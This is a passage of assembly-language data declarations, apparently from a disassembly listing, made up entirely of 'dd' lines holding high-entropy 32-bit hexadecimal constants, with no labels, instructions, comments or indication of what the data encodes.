dd 7A2146E4h, 2E9A1530h, 6FF5933Fh, 2FB28592h, 1D07EDAEh
dd 1FF6362Bh, 31156CF6h, 0AC9D5044h, 49DFC012h, 0CD9D77EDh
dd 8B991FEh, 691F789h, 85A161FAh, 926DA75Eh, 57DDB837h
dd 3AE6FA94h, 6C61532h, 0EC963D57h, 2E4A25B0h, 4DFE81ABh
dd 90E9A1D4h, 0C1B4E53Ch, 4A1115ACh, 66B102A8h, 2613BA2Eh
dd 866C1A7Dh, 43F32B4Fh, 2A934B69h, 8FA048A6h, 0FFCAADABh
dd 0B6CD0012h, 97BF2DCEh, 0EC9B6BD0h, 6E2799F4h, 8FB82E3Bh
dd 22AF8139h, 0D1DCC769h, 0A6107B69h, 42399CE0h, 0C75586F0h
dd 0DB3CC090h, 350E5110h, 722E9043h, 43D2C0BBh, 9701723Ch
dd 0C2AB904Fh, 0FE2DFB7Fh, 7DB44D66h, 1C2D8437h, 0A0B032CCh
dd 103E9AFAh, 47EE29D3h, 2D4D794h, 7C297360h, 622420Eh
dd 0FE02B735h, 0AE77FCCh, 90EC43AAh, 3F89C327h, 8106191Bh
dd 4FB3BA72h, 4D3508B7h, 0FA3775E7h, 73435058h, 0F96CA659h
dd 0A2F5F836h, 743BD5E1h, 41281F1Fh, 56A525D2h, 0E487297Bh
dd 45C25948h, 317517C7h, 3E7E0A91h, 0DC72CBD5h, 0D7610BC8h
dd 38C0A356h, 4E3AE25h, 2B4202EAh, 0F4CCE47Ch, 0E59E9EAAh
dd 7A837CE0h, 2C622521h, 0A09A44E7h, 68A89D1Bh, 9D645623h
dd 27C3F60h, 7E490D6Dh, 573BA2DAh, 72114613h, 55666A61h
dd 3E0C28EBh, 1221788Dh, 3B7E8260h, 13DC50FAh, 8679A612h
dd 0E4944CDAh, 0EF777EBh, 21D7AB95h, 0C1DAA178h, 352D50E0h
dd 0A2DE98C4h, 0E6F4686Fh, 3FBBF70Eh, 0A07EE968h, 43943B17h
dd 0A190E34Ch, 19BC37CFh, 0A98EB2EAh, 4C1C52DAh, 95AED449h
dd 0EF333D15h, 0CA373741h, 4AC025B2h, 966AF734h, 0DC7067A8h
dd 3A2CDE99h, 6DE239A7h, 59FFFC70h, 8F27101Dh, 0D851753Eh
dd 0ADAC3102h, 7A6A4469h, 0CFA0364Fh, 48CF5143h, 6AB5C335h
dd 0EDB5B68Bh, 0CC15BE59h, 3A6929F9h, 95F87078h, 4B4CAC2Dh
dd 77F9F92Eh, 6DD4C2F2h, 1F77E185h, 8F89FBB8h, 0D1790AE1h
dd 0AEEB4F4Bh, 22BF3662h, 1C1B9343h, 42698175h, 463F7B2Eh
dd 3BDEB47Ah, 0FB3618C9h, 680BF2C5h, 6CC02244h, 0A3352821h
dd 85BB4B6Eh, 7495A95Bh, 56AC5211h, 54A953B7h, 0E3D4704Eh
dd 0C3D77A3Ch, 0EB13E25Ah, 96DFA4B5h, 0D19BEE72h, 89C12D91h
dd 54037112h, 0E6D58E8Fh, 0F758FD09h, 6C11291Dh, 384DB174h
dd 43D31306h, 3E972ACFh, 8F7AB316h, 0B7D65350h, 0F76F5E17h
dd 0D5B6F862h, 0FA0D455Fh, 37203DAAh, 0C017D2E6h, 57B8C774h
dd 80111FCEh, 92EE0707h, 415E0151h, 0A5EA7475h, 0F5726EEAh
dd 6C8BAEBh, 5C67D39Eh, 0C6350813h, 0A19C360Ch, 4CD032ADh
dd 0AD84ABAEh, 1A1C6E31h, 196B42E8h, 0F5409174h, 0D285017Eh
dd 0BD3BA69Ah, 0E7A7F701h, 0BC96673h, 117E7FB8h, 127067BDh
dd 0A944A026h, 5D75C8FFh, 8FC15211h, 0C3E355F3h, 0BC0AEDB0h
dd 18FA63AFh, 0EAF78BEAh, 6B5F0542h, 6F0E5306h, 1D355E29h
dd 8D674C1Ah, 0CCCF2A35h, 3850B18Bh, 0C89850F4h, 8069D4FAh
dd 1D979ED1h, 869B5489h, 0A779E626h, 192AF22Bh, 0AB414711h
dd 12AAFE0Ch, 3F53808Dh, 65FBD2BFh, 0A0B58533h, 287DFE28h
dd 34DC6821h, 0C60C47BFh, 2BE8EC8Eh, 0FA735FA8h, 0E617267h
dd 6A89EEC9h, 54A5BC92h, 656DD31Ch, 46819634h, 97B3A1AFh
dd 85F0E172h, 2BF7B7E5h, 2C2ABF70h, 29A89E89h, 0CE1F04C2h
dd 30AC64B8h, 4E05C85Ah, 0E3AD1C8Ch, 489E5DBEh, 8074D0Ch
dd 0CC51DF28h, 77A19A00h, 0DB7A06C8h, 0B6423FD3h, 4674470Ah
dd 712E4CFh, 423C53F6h, 508479E1h, 264B794Dh, 801BECBDh
dd 0D72DB881h, 76258ABCh, 24C304F0h, 43091A02h, 24691FF1h
dd 0BCE2210Ch, 57BBA91Bh, 0D56F6CCFh, 772EB8B3h, 22799659h
dd 57D57797h, 5565147Fh, 51A89FDCh, 1FEDF837h, 0CDF035AFh
dd 88B45E73h, 5CEC40A9h, 0F6EB5CEBh, 0C7BD2F6Ch, 0CD136CBBh
dd 9E20E18Ch, 0DB3F3636h, 0D9B45DCDh, 2A1204B8h, 5EA565FEh
dd 0E00E7A8Eh, 2A4A7467h, 112DBC47h, 0DE847C24h, 3F81B4EDh
dd 0F04A8329h, 0BD272CC2h, 33B03FBCh, 261F3120h, 9996F147h
dd 5729BF97h, 7A961BBEh, 0B18C967Ah, 0FD66FDA0h, 3B47C2EDh
dd 0AEE01D96h, 8C96CF89h, 0A71584B9h, 53CC08C8h, 4E86E7C5h
dd 40A13A0Eh, 0A2E8D92Bh, 7E9A3394h, 0A5FD9BF5h, 50692C4Eh
dd 0F78B1889h, 468449C1h, 6B749591h, 17C3E5CCh, 0B1100A9Fh
dd 963D50F2h, 42772B74h, 715A260h, 449622h, 621D478h, 0B4BCE046h
dd 1A2CAD0Fh, 0E2DF7C63h, 270B0A1Dh, 90EC1C1Bh, 44509E74h
dd 211AAE43h, 0EDC214DFh, 51CF78Ah, 0FA42771Ah, 0E73B5ECAh
dd 6CECB4BCh, 88F56FEEh, 0C0D25EAFh, 2C57CFFEh, 13A14CFDh
dd 0F69D0075h, 0F5C3897h, 8BBB1E99h, 343C4DF4h, 3BE1EEC7h
dd 0B50DBA8Fh, 0F51629CCh, 3113039Dh, 62CF510Eh, 879C4C5Eh
dd 36B410E4h, 99A3AF1Fh, 742CC3E3h, 916DEFF0h, 9227F1F4h
dd 0C1AA651Ch, 49DDCE28h, 0BFD045C9h, 0D84C72C8h, 0EA812B1Bh
dd 0A7692B6Ch, 612EAD1Ch, 0F5C392E3h, 5B353D1Dh, 0DD2FA8D6h
dd 0A233999h, 408E9C83h, 9E5BEC87h, 9B2AD8F5h, 0DB330E5h
dd 4E2CC042h, 90AE27B4h, 8D46CD0Fh, 0B53F5DCAh, 362A3FBAh
dd 130A07B4h, 6CE8F31Eh, 917047D6h, 0B99ACDh, 29468BCAh
dd 9E34B3F2h, 0D68051A1h, 0A7103623h, 0BDBAA6C3h, 0E673EA7h
dd 14265765h, 41EABB6Dh, 0B26C40E0h, 3C46A40Bh, 0F8B918D4h
dd 0EDD846FAh, 709891F1h, 0C1863CFDh, 0C284D9F7h, 434C8F08h
dd 0A2FA1286h, 0F815C659h, 0ECF63DB2h, 0FD007378h, 74D036A3h
dd 98DC7834h, 86FF2547h, 0E3F04816h, 31CF06EBh, 0FA73847Bh
dd 7118015Ch, 851DB045h, 48D2049h, 4727AE92h, 8B10935Eh
dd 4BBA378Fh, 3A2ED412h, 64960913h, 17FAD826h, 0C2B5AF45h
dd 34437BFBh, 3BC30435h, 8E7AC5BAh, 302ECA08h, 0E9A4BA4Dh
dd 12CC8F2Eh, 207850E4h, 0E281D295h, 7BE8C66Fh, 782C1C5Fh
dd 15A32C77h, 92997734h, 74B814FEh, 0A7E4453Bh, 756EEB92h
dd 928018C7h, 5FD2FE92h, 0CD35CB6Dh, 0C0FA38C8h, 511E75DBh
dd 949135FFh, 0ACCB691Bh, 0D5552B78h, 0AB7DF36Ch, 0CF90D8BCh
dd 0B87073CAh, 0C5FBD5Dh, 3E34EFBh, 0BEA12926h, 37921148h
dd 0FABFBCFFh, 79177FA6h, 0A59EEB33h, 214C2603h, 0DFA63E04h
dd 93749045h
dd 0FC30C05h, 169B982Ch, 179C308Eh, 956FBA1Ch, 0E6F8B198h
dd 749B7691h, 2C4150A6h, 4FFC0DF3h, 0FA5E7A4Ch, 0CCA3D3FFh
dd 5AA94715h, 0BB5606FFh, 6BAF4FC8h, 32CA3B4Ch, 0CE137F98h
dd 0A1C9F2EAh, 6448CBCh, 90E04220h, 0E13FE205h, 54AC3ECBh
dd 52921DBh, 1141E6A2h, 0EF5CF68Dh, 0F776B6EBh, 0F2628611h
dd 34DBC76Ch, 0ADA7A956h, 0A48FD041h, 0EAE83F40h, 0CE472CE3h
dd 3BDC52BEh, 49F28106h, 8A027335h, 0FEFEA74Ah, 4E06864h
dd 30C8C7A9h, 0C55AF3D4h, 0CEEE508Ch, 0E1A08893h, 13BEEF18h
dd 145E10F1h, 0E963FC33h, 35ACFED2h, 853F9CCBh, 0FF7131D4h
dd 65D71EB1h, 0F85B1B18h, 0E80D4166h, 7CD404C5h, 0C29F6541h
dd 0C9237CD3h, 0DE98F657h, 0D07F24Eh, 0D6BA355Bh, 5B535C0Bh
dd 0E473F934h, 0CB2003D7h, 775FBA9Dh, 0D9EAF861h, 72AC7C74h
dd 0F4866436h, 5F598CC7h, 51B7ED85h, 5B252285h, 0FD4AA759h
dd 8762DC4Eh, 80660846h, 0A06CB8A6h, 5B749304h, 0EF7FCB34h
dd 0EEA9CDF0h, 0EFED2645h, 6E244DFCh, 53D03952h, 427C9D4Bh
dd 5CC4B196h, 0E72C68ACh, 50ACD6A6h, 0CDFA79B1h, 29A1B1AEh
dd 0E21C68B4h, 7C02196Dh, 0FBFBEACFh, 1B0797F6h, 4E2B45EDh
dd 0EDADEA8Fh, 0DE286716h, 0DBB186B2h, 0E3960312h, 38BF03E9h
dd 0A0ADA978h, 8BD06EB2h, 0E299A736h, 5C7DCC89h, 3EB7548Ch
dd 85A13E35h, 0BBD3E790h, 4159FE1h, 3D7EDE5Ah, 979248CFh
dd 0A819A6B3h, 0E184B17Ah, 7E835BD0h, 0BA9AA255h, 8D4D45DFh
dd 2E205DEh, 0F4A2A865h, 95786846h, 0BA2EB43Bh, 0D664634h
dd 4FE8F609h, 2269B83Bh, 589AAAA7h, 0D8DF0DB7h, 0B68C0854h
dd 77B1B8DEh, 9C4262ECh, 0FFC9BA2Dh, 12459406h, 51D72D32h
dd 885A4FA4h, 0CD311CC1h, 8491E801h, 91128468h, 3F69F379h
dd 0EE715D5Bh, 0D3E6849Ch, 0A89AC698h, 676B611Ah, 6ED503BEh
dd 4DBC5C16h, 0C95AD3Eh, 8D042212h, 73062330h, 0D943985Ah
dd 0AF9282BCh, 0C5294868h, 17B8A743h, 43008557h, 55DC1D77h
dd 7D9335C8h, 0A711CC56h, 5AD3AE32h, 0BFE7A599h, 0B68E382Dh
dd 0C2EF2DAEh, 0D67B8F5Eh, 0F5B77BCFh, 0DC23C8E4h, 451EDF91h
dd 0C757AE1Fh, 56A99966h, 25B892F2h, 91C1B99Eh, 0A9476208h
dd 0B2F07B83h, 0AF6522ABh, 7F57BB49h, 5FE393D2h, 0D72821D3h
dd 41EF7203h, 2EA828A8h, 0B4564D0Ah, 14948AB5h, 0A06061E9h
dd 6FEB55DAh, 63F5EA3Ch, 2F92D270h, 102B1316h, 9BBE6637h
dd 0D8BD496Eh, 1A49C120h, 0B8C533FEh, 60CA4020h, 47DA1C79h
dd 99AF9707h, 0E59453C3h, 6C69A22h, 0DC31F36Ch, 3898B5C7h
dd 0C75470FAh, 73F53834h, 0E61AB5F1h, 7016F84Ch, 0CFFE614Ch
dd 0FE812480h, 2E326F7Dh, 3B891704h, 9CBE2BFh, 85B19E86h
dd 4A0F8F9Bh, 2ED64FEAh, 67E06671h, 5F34AEE5h, 0EE17F970h
dd 465E020Ch, 99AB61F5h, 9C6E1F0Ch, 41A8E3D6h, 0BA79B8DFh
dd 0EBDA526Bh, 0C5541315h, 0C6EB16F3h, 0E455C672h, 1F5AE9C9h
dd 2574A368h, 0D6810A3Fh, 0CD51259Ah, 0AC390381h, 0E5AA908Bh
dd 0A6DABDA4h, 529245DEh, 6FC84A58h, 74BBA1DEh, 997492C7h
dd 53009AC6h, 39A38640h, 0FBD38EE0h, 0BBF6FB7Fh, 5BCA4CCBh
dd 0A9E259E9h, 0EF762F50h, 5293AC09h, 0BF565025h, 0CCD4F177h
dd 0A72844A4h, 565D068Dh, 36B7E015h, 0EC2EE41Bh, 0F8ECCCCCh
dd 21CC7D45h, 0EC159ABFh, 618A38DEh, 0E54D0FF8h, 0F809CEFh
dd 6BEF8F60h, 397E47EEh, 0A746F0Eh, 16E0DD14h, 0E19A17A9h
dd 733AC5DCh, 72C0C817h, 0BEC8F369h, 0A9E000D1h, 186F0D91h
dd 0ED1D6A7Ah, 0BD1501D7h, 7B6B2A49h, 6D666B8Eh, 0BDF71EB6h
dd 31D3E733h, 27B54313h, 52205D6Dh, 968ACFD8h, 0CA862C4Dh
dd 0BC14792h, 90012E2h, 9CF2E153h, 0AC55B332h, 9B09E831h
dd 368C9C3Fh, 999D9954h, 0BCB55614h, 0A31FD54Eh, 0CC14A3DAh
dd 859C0B97h, 0A9EB58C7h, 76F00452h, 48847024h, 0B28BCCB8h
dd 0E71D36DAh, 0FD227319h, 31AD181Bh, 12BADD65h, 1D30B57Eh
dd 0D4B331D2h, 0E19D117Eh, 75601D1Bh, 0CFC306F3h, 3E86AABh
dd 669B5D4Fh, 810D9101h, 0D6E84F9Fh, 9210986Ah, 33E42EAEh
dd 10696682h, 0AA29803Bh, 0CCAD1177h, 0BCDA6E4Ch, 0E4659586h
dd 0E4F6FA00h, 37119A3Ah, 533F4585h, 0F35E2A94h, 67D389D9h
dd 674318A0h, 20C72EA0h, 97B9FEBFh, 6E7E5752h, 0EC8EF103h
dd 209E45F4h, 0FC2FAF26h, 0F26CB359h, 14BD36Dh, 0C3C56848h
dd 18947151h, 797232BFh, 3A71F97Bh, 5639898Eh, 0A4EAC373h
dd 0F756539h, 39A513D3h, 0D077B4Fh, 2A5F409Ah, 0ECFF16A9h
dd 0C4A25A7Fh, 3120922Dh, 0DD81BC37h, 0C1C4A938h, 3EB3AB48h
dd 0D9F15A21h, 0A99CF7D9h, 83A9DD5h, 21C0A5B9h, 30FDEF4Ah
dd 2F3023Bh, 5C070CE1h, 38BCDF06h, 201B171Bh, 0ED28DE4Fh
dd 0FC3F243Ch, 430441D7h, 0C6766E5h, 0F3452164h, 0F024882Ah
dd 0CA88935Fh, 0E9335FACh, 0BAAA0300h, 5173E31Ah, 0E4369450h
dd 17CE069h, 469F8A15h, 9487FA3Fh, 0AD848AA9h, 0E5B3FA71h
dd 82B81C1Ch, 77BDF10Ah, 0E7A0E2D3h, 702ADA6Bh, 6DF728E8h
dd 2E457844h, 86406FF7h, 0FED66A7Bh, 76A076D0h, 537D6132h
dd 0EBE6F0DFh, 62B5A0AAh, 0F087D0BCh, 0B11883AAh, 0A630A1DAh
dd 0B512729Bh, 4CE8FA60h, 0D45B9095h, 6CA46922h, 0FCF319B7h
dd 111C3A20h, 0D4774173h, 399AE0h, 0A813986Ch, 0BFA57B1Bh
dd 8AFFD13Ch, 733BCEA7h, 3848251Dh, 0C71B39BDh, 78FA76B4h
dd 28E3C067h, 80BDE310h, 381A03B0h, 9F54E1A4h, 573419A5h
dd 0C37F1EDDh, 0E376B433h, 0BF747D27h, 0B863EDA3h, 1C74CCDCh
dd 2AD7E834h, 0DD77C350h, 0C5DCD6B1h, 89B64BCEh, 0E077ECAFh
dd 0C031C9DCh, 0AD97C5F1h, 7D99A4F3h, 1315F96Dh, 9AE0F987h
dd 9C347BFDh, 0DE66FDDh, 2B62E259h, 0E3B198C3h, 16B3C1D4h
dd 0E988E1F3h, 2B9F2934h, 334BAE5Eh, 616B9814h, 1584887Ch
dd 0DB854C14h, 9BDCD8F6h, 354C7FE2h, 1BFC1457h, 936D61FBh
dd 80F9E542h, 176BFDB2h, 0D88581E0h, 2880DD3h, 0B13909AFh
dd 0B09EC528h, 0A8479F3Ah, 0D07DD44h, 71D8F7h, 0F5FF1ECFh
dd 0FFC12096h, 6661E374h, 667948E5h, 0FB95DEDDh, 4D80FB01h
dd 0FF7F260Fh, 7039ADEAh, 0F544C569h, 0F37E0E03h, 8B286667h
dd 2EB9DF76h, 0DD3D24EDh, 3A28FA28h, 0B8D6C47h, 7D5D8E5Fh
dd 0F8DB1FD4h, 56A18E39h, 0F4330EA7h, 7C1A6521h, 80E13507h
dd 69FC4BDEh, 46D98B87h, 0EB16AE8Dh, 2C1C6639h, 3A1D3372h
dd 0CD74F984h, 1C5B26CEh, 19AB680Ah, 0A5CED9FEh, 0A5D3BB1Dh
dd 4F4A96D5h, 0A31049DDh, 0FD4DA84Bh, 637ADE68h, 0E9447E2Ch
dd 8295CD2Eh, 0AD05256Bh, 7F18C72Ah, 8A76296Ah, 0D132DA5h
dd 9EE7E679h, 10E61B33h, 3BA8D51Eh, 0AC366437h, 6E922636h
dd 3362029Fh, 0F52E45B4h, 504065FCh, 0E947E340h, 0A8B365EDh
dd 0F29A6F59h, 0B0E9EEABh, 96D112FCh, 85F85761h, 8C9C0779h
dd 9DD118E3h, 27E241B1h, 6649C272h, 0B99B9EFAh, 1C4F9985h
dd 8446A35Ah, 0AE8ED883h, 59C18EF4h, 75FDF745h, 0EAAB7605h
dd 0C1F73FA4h, 15AF67E7h, 74446555h, 5A6D6659h, 0F00CC93Ah
dd 0F7E901A4h, 1CB66119h, 0C99F10C0h, 7BC9334h, 0C49A28AFh
dd 3C3926h, 8492A79Eh, 0B974CFE0h, 54591547h, 0F1797D8Ah
dd 0F3160CB8h, 6F0448DDh, 0E8547587h, 0A4A77FE0h, 8AD81A88h
dd 981026D5h, 89F4E112h, 0DF20B23Eh, 60ADCC4Ch, 508054EDh
dd 9C8DF1Bh, 6FFF77F0h
dd 2337A2FEh, 6EBD1A30h, 7AEEAE9Ch, 781C5662h, 0B4EB51CEh
dd 9813B60Ch, 0EF9F0A2Ah, 1DA8622h, 0EBB5959Ch, 9D96DA40h
dd 6C3A11ABh, 1DF8FA54h, 0BB3E3E8Fh, 0C5F82574h, 53A6087Dh
dd 373B4D08h, 8D541F0Dh, 956BBB80h, 0D71998B1h, 51521EAAh
dd 4353F628h, 6A8B9137h, 23B1C298h, 756BE8B4h, 221E01C1h
dd 1786A9CDh, 0A918E1FAh, 0EBDD9ADEh, 7C135522h, 0E20B706Dh
dd 3F836344h, 902AC5A1h, 0B2A543F9h, 5400C7E8h, 0B1FE57Dh
dd 0BC7ADD0Ch, 0F9201151h, 0F5D976EDh, 9F39D5D6h, 0F8761EF9h
dd 0AB2FEE14h, 8692DDF8h, 6C7A5058h, 0BC31DA4Eh, 0CA24117Ah
dd 0FCA0F985h, 8FADE5BFh, 0F7210498h, 0D4C8BA94h, 2BB2A58h
dd 0D03E1FAAh, 0A4D3F97Bh, 0D945AD2Fh, 5C27B96h, 0DCE274F1h
dd 3DF3D736h, 53734445h, 22FEA9F1h, 0DA90A39Eh, 581AC23Dh
dd 26A242CEh, 0CEF4ACDEh, 0FA7D82E3h, 0D106BF8Ah, 1768F978h
dd 0C93CF71Ch, 2CCC812Ch, 69590BD7h, 0E6C6C6C2h, 8BB29135h
dd 0A8778384h, 98CF72FDh, 64049A9Fh, 0FED9AF99h, 0E5010752h
dd 0D7B0FB01h, 52134E98h, 0BDB9ECD3h, 5D69B677h, 753720D1h
dd 0FDAB8322h, 1832DFC3h, 0C18FE188h, 0C6346F8Ah, 6362F2E9h
dd 5C8915C6h, 0B6FDC4EBh, 4FF54113h, 2B39A7A4h, 8141DB89h
dd 0EB4F8FF9h, 0A299BA3Eh, 0D90B2A17h, 1E7D5B05h, 0E2864579h
dd 0F44BE8F6h, 0A4C8E518h, 4A0796DFh, 52ACF05Eh, 0E9C2E572h
dd 67F62461h, 0D528D442h, 0EE06A880h, 313A3A7h, 0F397CB1Ah
dd 9F20FA9Fh, 61977E7Ch, 3E04F571h, 30ADD2F3h, 0ABB843E1h
dd 59CD958Dh, 0F222C16Ch, 0D8319147h, 54F51405h, 0D06F0519h
dd 59522488h, 0E837C9E2h, 0E4ECCA41h, 3EF2A537h, 1793CDE1h
dd 0FF1D0F66h, 10F75EB0h, 0FFFFEF23h, 39C40B62h, 0E2E09487h
dd 974542E2h, 42F461B9h, 0DB45BDD6h, 8452441h, 0E09B6FB5h
dd 0F7D432E0h, 0E8C2399h, 862FF7D7h, 0FB947CD0h, 0E245FC0Bh
dd 75E9E250h, 424C4BB2h, 0A8C5C7F1h, 8BFD5FCh, 0E44D9EE5h
dd 726FE8CEh, 8D22E128h, 0E220220Fh, 5C35C8FEh, 0BF9B9220h
dd 73FD7272h, 0C282D8ADh, 78B93BCh, 8E24302Ch, 2514C7ACh
dd 0AD416B5h, 0FB189A15h, 0A67FB1F3h, 20F7C31Bh, 97C39584h
dd 0F9650F28h, 0CB2E817h, 1EC7B4Bh, 94233451h, 0F6881223h
dd 0D085A38h, 0E53DEE68h, 556FB412h, 7E151CD5h, 18B515Dh
dd 0A8426EAh, 0BA9646A0h, 159B9A20h, 6C82D622h, 0F3DF7315h
dd 70F5B401h, 66714536h, 0C239FE60h, 0E25FD7CCh, 0FC25185h
dd 0C48EC6A2h, 0BF4140D0h, 96649D48h, 0DB0F4AA3h, 6E7517CFh
dd 0FE62CA6Fh, 5C6A333Bh, 0A4D5922Bh, 50100116h, 0CC32234Fh
dd 5A7FF0C1h, 751EC044h, 1A7BA8B2h, 1D02A625h, 7D3B4DCh
dd 0F96056F7h, 67C9C27Dh, 707C7B6Dh, 0B33C4638h, 68949436h
dd 8327E521h, 495FA2B2h, 4CB68F4Ch, 85271E56h, 9C7846BCh
dd 91DED733h, 0E09D63C9h, 1E7C075Dh, 0E935674Ah, 30D961DBh
dd 0EFCB6736h, 520584C4h, 9B1D54AEh, 47DB3498h, 51A3B04Ah
dd 4D62371Ah, 0E8BAFFC8h, 0F5A388EBh, 0E8C1D0CBh, 53B79E3Eh
dd 0C71FCD41h, 5DBC6870h, 0F9617900h, 8E85DBACh, 7D48878Fh
dd 0D588EDDBh, 0B6E6844Ah, 0BA1DE04Fh, 0E46C078Bh, 6D5FCE2Dh
dd 0C13D5458h, 5ABA205Eh, 0F806CDD7h, 1DCE8A26h, 641D54E5h
dd 22407AC9h, 981DBDEEh, 0F173BCE1h, 0B74009CDh, 0D8F4D650h
dd 0FD380C88h, 96F5793Fh, 81573B72h, 4603860Dh, 0FF66CC6Dh
dd 38E54412h, 74B1B921h, 797B381Fh, 42B7638Dh, 0AA8DDAF9h
dd 0C95A962Ch, 9E1CE0C1h, 67CF9E3h, 0FE978D98h, 0E387BA62h
dd 3AC4EBA8h, 0F0698D74h, 0FE4AF15Fh, 3652EDC6h, 600C65C5h
dd 0CA2D6A3h, 177E03BFh, 0E95ACB05h, 720B1E0Dh, 7A12DF42h
dd 0E4766660h, 716CB34Bh, 2485FB3h, 679C2F47h, 0A36D09BCh
dd 0DA263C6Ch, 0C0219CC7h, 0E4BECFAFh, 164A07D3h, 35CB9993h
dd 2A3A7B78h, 772CB656h, 1EC08018h, 9E3D9B12h, 1BEBAFD3h
dd 7B98B07Eh, 0B8459103h, 0EA5C24EAh, 0F187EA7Dh, 0BAA63AE7h
dd 9212840h, 161A7984h, 3694F524h, 0C60EED87h, 9A162BAh
dd 505887A8h, 0BFD36999h, 10CD7F0Bh, 3899D17Eh, 5493663Eh
dd 0D0A76219h, 50F3FF2Ch, 49215E74h, 8867889Dh, 14BC7BB4h
dd 885D2449h, 0EB4F6593h, 78695EA8h, 5A0F42B2h, 6E3F5D34h
dd 3E5EC990h, 9CBF1FBBh, 819B7F4Fh, 0B20D4ABDh, 0FA1DF981h
dd 0BEA87E61h, 0FA459357h, 0CD610803h, 5DB1425Bh, 1BB1A770h
dd 52A19646h, 0E4F127CBh, 0BCBC6E90h, 0ECB3B09Eh, 374A1175h
dd 1D161ABAh, 2B2A7E90h, 0CFE702D2h, 2AD3CF09h, 0A0FB4172h
dd 93E07294h, 0FA4E8AC4h, 12AF0395h, 44574025h, 0B8361E0Fh
dd 1404C7C5h, 0D111360Eh, 0DA113B80h, 0D30A1C17h, 0FFF66E8h
dd 9A5CEDEDh, 188A488h, 0ABDD3CD9h, 8A06699Ah, 1150BE50h
dd 7AD19F45h, 0E1168D95h, 0FE3DD87h, 0E32CF3FBh, 0ACA0449Bh
dd 0D0B2C71Eh, 2AE687F8h, 0BE0E036Fh, 2CFCC01Eh, 0C7F1F237h
dd 0A7DCC48Ch, 0BF4A4C4Ch, 978DC63Bh, 77AB487Bh, 3D7781D5h
dd 3587474Fh, 9CB624EBh, 6EC1C6E5h, 0C007FD03h, 3F3AEB1Fh
dd 0D1E97B1Dh, 0E37523CCh, 0D22DCFD2h, 9A31B28Bh, 653D413h
dd 9CA63FDEh, 0FC35583Eh, 759771D0h, 7966EEA9h, 78BD73E5h
dd 56F2E0A0h, 0DE851A7Bh, 906F8BCCh, 97653E54h, 64BC8CF9h
dd 71035AD0h, 0A1E16F89h, 0E9AE8106h, 0F921560Ah, 77411E77h
dd 9EA84361h, 4DDA7F95h, 0CB503A7h, 0E063E022h, 0A4DBBEA4h
dd 285DE926h, 0E4413FE7h, 66991C84h, 66214D0h, 0FBFA2D07h
dd 0C6D4327Ah, 0FA5D32E8h, 8770FF9Ah, 9BC86272h, 403EAF8Ch
dd 8494FB2h, 0FC7B30DBh, 590D0721h, 89D29D3Dh, 6551E2CFh
dd 914AD668h, 0B718424Eh, 8C1EE440h, 0DD54CD7Bh, 0C7E2FB6Fh
dd 0EAF7AB26h, 2CCBBFA9h, 4D03168Eh, 5AB7B9D2h, 3AB8E207h
dd 328A8E51h, 8A32EB8Dh, 675AA4C2h, 6516B926h, 6B6F3495h
dd 923957D5h, 0ABF9F3C8h, 0B73943CDh, 89BB6B19h, 0E675FA6Eh
dd 561BE8F5h, 8BDEA07Ah, 0A6BBD342h, 62C0EEF8h, 0E0A8E34Ch
dd 0A4CCD541h, 99491276h, 3D49F1C3h, 36F51806h, 3CB4E4F1h
dd 0CDDEF933h, 16880C4Eh, 5BD99372h, 51F05015h, 3C2DE43h
dd 318C1088h, 58C00144h, 2A5CFB51h, 0C1ED3993h, 962AB48Bh
dd 21FA1DFDh, 8A09B37h, 36A5E2h, 0C13FCE58h, 94CA0E2Ch
dd 326C11Eh, 8632A3D6h, 0B7F52919h, 0BBBB4B36h, 7B38D9FAh
dd 943376E7h, 0FA4F5529h, 97B4163h, 0EF39B947h, 0FE44A6DAh
dd 4E9E6323h, 358B3280h, 83A9769Dh, 5B680338h, 966EBB8Ah
dd 40BA9653h, 0B858FB5Dh, 92FD0EB2h, 0D5FC8850h, 468AAE73h
dd 0C2F71AA4h, 4564151Dh, 33752C84h, 86F137D5h, 30071D3Dh
dd 9D516777h, 0C324E345h, 64F00DBBh, 0E3EA7310h, 0D34A79D7h
dd 1FE0C495h, 0C66A5763h, 5C484391h, 1B4A199Dh, 89A45B4Ch
dd 2B804A0Ah, 0A3BACE85h, 87378D09h, 7483EB39h, 1967E4D4h
dd 8476A516h, 29B67073h, 0AEB5ED67h, 0BDD94F75h, 16CC981Eh
dd 0B581DDA7h, 501BD000h, 8E9CBCBh, 0CB091B30h, 0C93AF2E7h
dd 0A5870516h, 104E59Dh, 4A29C4F5h, 0D219F262h, 22B10723h
dd 62EFACE1h, 0E3A1E061h, 7C45DEBDh, 0BE657A87h, 16DFEE54h
dd 0B1D1479h, 391F4D33h, 0FD22531h, 827939A7h, 0D8E7D626h
dd 3179E8CDh, 7431AA70h, 2FA3191Bh, 49A4D82Bh, 872EA4A7h
dd 752C10F7h, 0F5F7AD31h
dd 0B91ACF10h, 5BF7E226h, 0F8DA0E60h, 4FC35794h, 63A09E1Bh
dd 0E065D55Fh, 0B9C79BEFh, 2D0B4ACFh, 6BD281EDh, 0B4452B6Bh
dd 4A1408AFh, 2AFB490Fh, 0D59E5BC7h, 1C24F2DDh, 434C857Ah
dd 0F912AC01h, 25EA7D7Dh, 0E584E7B6h, 0E441C65Eh, 5AE4A5F7h
dd 0DF6A1048h, 6E4883A5h, 4295126Fh, 0E89894BAh, 6F531C3Bh
dd 0B6281EF0h, 1ADF812Bh, 0E6E53A18h, 0F5609FD3h, 57199538h
dd 0CA3CE4DFh, 0ACDF22A9h, 94FE2E9Bh, 0D0440A8h, 0F5CE42E6h
dd 6359D385h, 1BC30C3Fh, 86A61E62h, 0BC431A59h, 0CDDDA70Ah
dd 0D1B0394Eh, 0A9D8AFC0h, 0A7110B2Eh, 5F8D0115h, 36710D67h
dd 29B5B7D3h, 77137559h, 1ABCBFEAh, 38519B0Eh, 0AC70CC08h
dd 0D4506DCAh, 0E66C0D97h, 5B35E929h, 590882B9h, 0D9429FC9h
dd 0DEDB7D4Bh, 0DA3E8102h, 0F6861097h, 4F11FB6Eh, 588538BCh
dd 45D0117Bh, 86D556A2h, 4EE13236h, 3C462FC9h, 0A81600B6h
dd 9FE8C691h, 72F7383Eh, 93697766h, 33565148h, 0CD37BBE6h
dd 88E16E79h, 340C0D8Eh, 1A271298h, 0C8DC639Bh, 0D7FF8A29h
dd 631D57E7h, 6B0D59F1h, 262DBC35h, 2F12EB2h, 53A99F30h
dd 0BADA11C5h, 64CD5CAEh, 0BE0241EAh, 0ED961AFAh, 0B69D1A53h
dd 6859C967h, 45597D85h, 0F46303AAh, 0C57305CFh, 7021AF30h
